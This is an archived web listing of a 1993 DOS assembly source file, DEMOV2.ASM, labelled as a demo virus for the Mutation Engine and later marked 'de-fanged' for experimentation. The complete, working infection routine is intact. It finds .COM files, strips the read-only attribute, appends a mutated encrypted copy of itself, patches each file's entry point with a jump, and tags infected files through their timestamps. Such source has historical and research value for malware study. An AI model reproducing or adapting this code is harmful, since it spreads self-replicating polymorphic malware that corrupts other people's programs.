home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DEMOV2.ASM < prev    next >
Assembly Source File  |  1993-03-25  |  6KB  |  205 lines

  1.  
  2. ; This is a demo virus to demonstrate
  3. ;   the Mutation Engine <tm> usage
  4.  
  5. ; Version 1.01 (26-10-91)
  6. ; (C) 1991 Dark Avenger.
  7.  
  8. ; De-Fanged for experimentation by Mark Ludwig 3/24/93
  9.  
  10.         .model  tiny
  11.         .radix  16
  12.         .code
  13.  
  14.         extrn   mut_engine: near, rnd_get: near, rnd_init: near
  15.         extrn   rnd_buf: word, data_top: near
  16.  
  17.         org     100
  18.  
  19. start:
  20.         call    locadr
  21. locadr:
  22.         pop     dx
  23.         mov     cl,4
  24.         shr     dx,cl
  25.         sub     dx,10
  26.         mov     cx,ds
  27.         add     cx,dx                   ;Calculate new CS
  28.         mov     dx,offset begin
  29.         push    cx dx
  30.         retf
  31. begin:
  32.         cld
  33.         mov     di,offset start
  34.         push    es di
  35.         push    cs
  36.         pop     ds
  37.         push    ax
  38.         mov     dx,offset dta_buf       ;Set DTA
  39.         mov     ah,1a
  40.         int     21
  41.         xor     ax,ax                   ;Initialize random seed
  42.         mov     [rnd_buf],ax
  43.         call    rnd_init
  44.         mov     dx,offset srchnam
  45.         mov     cl,3
  46.         mov     ah,4e
  47. find_lup:
  48.         int     21                      ;Find the next COM file
  49.         jc      infect_done
  50.         call    isinf                   ;see if infected
  51.         jnz     infect                  ;If not infected, infect it now
  52. find_nxt:
  53.         mov     dx,offset dta_buf
  54.         mov     ah,4f
  55.         jmp     find_lup
  56. infect_done:
  57.         push    cs
  58.         pop     ds
  59.         push    ss
  60.         pop     es
  61.         mov     di,offset start
  62.         mov     si,offset oold_cod
  63.         movsb                           ;Restore first 3 bytes
  64.         movsw
  65.         push    ss
  66.         pop     ds
  67.         mov     dx,80                   ;Restore DTA
  68.         mov     ah,1a
  69.         int     21
  70.         pop     ax
  71.         retf
  72.  
  73.  
  74. infect:
  75.         xor     cx,cx                   ;Reset read-only attribute
  76.         mov     dx,offset dta_buf+1e
  77.         mov     ax,4301
  78.         int     21
  79.         jc      infect_done
  80.         mov     ax,3d02                 ;Open the file
  81.         int     21
  82.         jc      infect_done
  83.         xchg    ax,bx
  84.         mov     ax,WORD PTR [old_cod]
  85.         mov     WORD PTR [oold_cod],ax
  86.         mov     al,BYTE PTR [old_cod+2]
  87.         mov     BYTE PTR [oold_cod+2],al
  88.         mov     dx,offset old_cod       ;Read first 3 bytes
  89.         mov     cx,3
  90.         mov     ah,3f
  91.         int     21
  92.         jc      read_done
  93.         xor     cx,cx                   ;Seek at EOF
  94.         xor     dx,dx
  95.         mov     ax,4202
  96.         int     21
  97.         test    dx,dx                   ;Make sure the file is not too big
  98.         jnz     read_done
  99.         cmp     ax,-2000
  100.         jnc     read_done
  101.         mov     bp,ax
  102.         add     bp,30
  103.         sub     ax,3
  104.         mov     word ptr [new_cod+1],ax
  105.         mov     ax,cs
  106.         add     ax,1000H
  107.         mov     es,ax
  108.         mov     dx,offset start
  109.         mov     cx,offset _DATA
  110.         push    bp bx
  111.         add     bp,dx
  112.         xor     si,si
  113.         xor     di,di
  114.         mov     bl,0f
  115.         mov     ax,101
  116.         call    mut_engine
  117.         add     cx,30
  118.         sub     dx,30
  119.         mov     di,dx
  120.         push    cx
  121.         mov     cx,18                   ;put mul cx in 18H times
  122.         mov     ax,0E1F7
  123.         rep     stosw
  124.         pop     cx
  125.         pop     bx ax
  126.         add     ax,cx                   ;Make sure file length mod 256 = 0
  127.         neg     ax
  128.         xor     ah,ah
  129.         add     cx,ax
  130.         mov     ah,40                   ;Put the virus into the file
  131.         int     21
  132.         push    cs
  133.         pop     ds
  134.         jc      write_done
  135.         sub     cx,ax
  136.         jnz     write_done
  137.         xor     dx,dx                   ;Put the JMP instruction
  138.         mov     ax,4200
  139.         int     21
  140.         mov     dx,offset new_cod
  141.         mov     cx,3
  142.         mov     ah,40
  143.         int     21
  144.         jmp     write_done
  145. read_done:
  146.         mov     ah,3e                   ;Close the file
  147.         int     21
  148.         jmp     infect_done
  149. write_done:
  150.         mov     ax,5700H                        ;get date & time on file
  151.         int     21H
  152.         push    dx
  153.         mov     ax,cx                           ;fix it
  154.         xor     ax,dx
  155.         mov     cx,0A
  156.         xor     dx,dx
  157.         div     cx
  158.         mul     cx
  159.         add     ax,3
  160.         pop     dx
  161.         xor     ax,dx
  162.         mov     cx,ax
  163.         mov     ax,5701H                        ;and save it
  164.         int     21H
  165.         jmp     read_done
  166.  
  167. ;determine if file is infected
  168. isinf:
  169.         mov     dx,offset dta_buf+1e
  170.         mov     ax,3d02                 ;Open the file
  171.         int     21
  172.         mov     bx,ax
  173.         mov     ax,5700H                        ;get file attribute
  174.         int     21H
  175.         mov     ax,cx
  176.         xor     ax,dx                           ;date xor time mod 10 = 3 for infected file
  177.         xor     dx,dx
  178.         mov     cx,0A
  179.         div     cx
  180.         cmp     dx,3
  181.         pushf
  182.         mov     ah,3e                   ;Close the file
  183.         int     21
  184.         popf
  185.         ret
  186.  
  187.  
  188. srchnam db      '*.COM',0
  189.  
  190. old_cod:                                ;Buffer to read first 3 bytes
  191.         ret
  192.         dw      55AA
  193.  
  194. oold_cod:                               ;old old code
  195.         db      0,0,0
  196.  
  197. new_cod:                                ;Buffer to write first 3 bytes
  198.         jmp     $+100
  199.  
  200.         .data
  201.  
  202. dta_buf db      2bh dup(?)              ;Buffer for DTA
  203.  
  204.         end     start
  205.